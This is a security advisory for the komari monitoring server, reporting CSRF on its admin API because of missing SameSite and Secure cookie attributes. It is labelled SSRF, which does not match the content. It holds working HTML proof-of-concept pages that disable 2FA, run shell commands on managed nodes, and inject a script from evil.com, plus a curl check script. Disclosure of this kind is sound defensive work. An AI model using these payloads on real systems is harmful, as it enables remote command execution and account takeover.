GHSA-hxjg-93wc-h8p8: SSRF
Vulnerability Overview
The sessiontoken cookie is set without the SameSite or Secure attributes (login.go:68).
All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.
The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.
Root Cause
go // komari-main/api/public/login.go:68 c.SetCookie("sessiontoken", session, 2592000, "/", "", false, true) // Secure=false, SameSite not explicitly set // Admin route group (server.go:213-343) has no CSRF middleware
Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.
Browser Limitations
- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to SameSite=Lax. - Cookies without an explicit SameSite attribute are not included in cross-site POST requests. - As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.
| Scenario | Exploitable | |----------|-------------| | Cross-site HTML (modern browsers) | ✗ Blocked by SameSite=Lax | | Cross-site HTML (Chrome <80 / legacy browsers) | ✓ | | Same-origin context (Browser Console / existing XSS) | ✓ | | Man-in-the-middle over HTTP (Secure=false) | ✓ |
High-Impact Operations Reachable via CSRF
| Endpoint | Method | Impact | |----------|--------|--------| | /api/admin/task/exec | POST | Execute arbitrary shell commands on managed nodes | | /api/admin/2fa/disable | POST | Disable administrator two-factor authentication | | /api/admin/settings/ | POST | Modify system configuration | | /api/admin/upload/backup | POST | Upload a malicious backup | | /api/admin/record/clear/all | POST | Delete all monitoring records | | /api/admin/client/:uuid/edit | POST | Modify client configuration | | /api/admin/client/:uuid/remove | POST | Remove managed clients | | /api/admin/session/remove/all | POST | Invalidate all active sessions | | /api/admin/settings/cloudflared/start | POST | Start a Cloudflared tunnel |
PoC 1 — Disable 2FA
html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <iframe name="sink" style="display:none"></iframe> <form id="f" method="POST" action="https://komari.example.com/api/admin/2fa/disable" target="sink"></form> <script> document.getElementById('f').submit(); </script> </body> </html>
PoC 2 — Remote Command Execution
html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <script> var KOMARI = "https://komari.example.com"; var CMD = "id && hostname && whoami";
fetch(KOMARI + "/api/admin/client/list", { credentials: "include" }) .then(function(r){ return r.json(); }) .then(function(data){ var nodes = data.data || []; var uuids = []; for (var i = 0; i < nodes.length; i++) { if (nodes[i].uuid) uuids.push(nodes[i].uuid); } if (uuids.length === 0) return; return fetch(KOMARI + "/api/admin/task/exec", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ command: CMD, clients: uuids }) }); }); </script> </body> </html>
PoC 3 — Modify System Configuration
html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <script> var KOMARI = "https://komari.example.com"; fetch(KOMARI + "/api/admin/settings/", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ "sitename": "Pwned", "customhead": "<script src='https://evil.com/hook.js'><\/script>" }) }); </script> </body> </html>
PoC 4 — Clear All Monitoring Records
html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <iframe name="sink" style="display:none"></iframe> <form id="f" method="POST" action="https://komari.example.com/api/admin/record/clear/all" target="sink"></form> <script> document.getElementById('f').submit(); </script> </body> </html>
Verification Script
bash #!/bin/bash KOMARI="${1:-https://komari.example.com}"
echo "=== CSRF Verification ==="
echo "[1] Cookie Attributes..." curl -s -D - -o /dev/null \ -X POST "$KOMARI/api/public/login" \ -H "Content-Type: application/json" \ -d '{"username":"test","password":"test"}' | grep -i 'set-cookie'
echo "" echo "[2] CORS Headers..." curl -s -D - -o /dev/null \ -H "Origin: https://evil.com" \ "$KOMARI/api/public/config" | grep -i 'access-control'
echo "" echo "[3] CSRF Protection on Admin Endpoint..." CODE=$(curl -s -o /dev/null -w "%{httpcode}" \ -X POST "$KOMARI/api/admin/settings/" \ -H "Content-Type: application/json" \ -H "Origin: https://evil.com" \ -d '{}')
echo " HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present."
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/komari-monitor/komarito a version that resolves this vulnerability.Fixed in 0.0.0-20260609084633-98122fa4d110 - Configuration
Update cookie issuance for `session_token` to explicitly set `SameSite` and `Secure` attributes (current code sets `session_token` with no `SameSite` or `Secure`, which enables cross-site CSRF).
KOMARI server (login.go:68) Set-Cookie attributes for session_token = SameSite=<explicit value> ; Secure=<set appropriately> - Configuration
Add CSRF protection (and validate Origin/CSRF token as applicable) for the admin route group handling `/api/admin/*` endpoints, since the admin routes (server.go:213-343) currently have no CSRF middleware and rely solely on the session cookie for authentication.
KOMARI server (server.go:213-343 admin route group) CSRF protection / middleware = enabled
Event History
Frequently Asked Questions
Are users of current mainstream browsers exposed to cross-site POST exploitation?
Chrome 80 and later, Firefox 103 and later, and Safari default cookies without a SameSite attribute to SameSite=Lax. Those browsers do not include the session cookie in cross-site POST requests, so affected admin endpoints return HTTP 401 Unauthorized.
Why can a cross-site request avoid a CORS preflight?
The server's JSON binding does not strictly validate the Content-Type header. An attacker can use text/plain requests to bypass CORS preflight, although modern SameSite=Lax defaults still prevent the session cookie from being sent on cross-site POSTs.
What authentication and request-validation controls are absent on the admin API routes?
The /api/admin/ endpoints rely only on the session_token cookie for authentication. The route group has no CSRF token validation or Origin validation.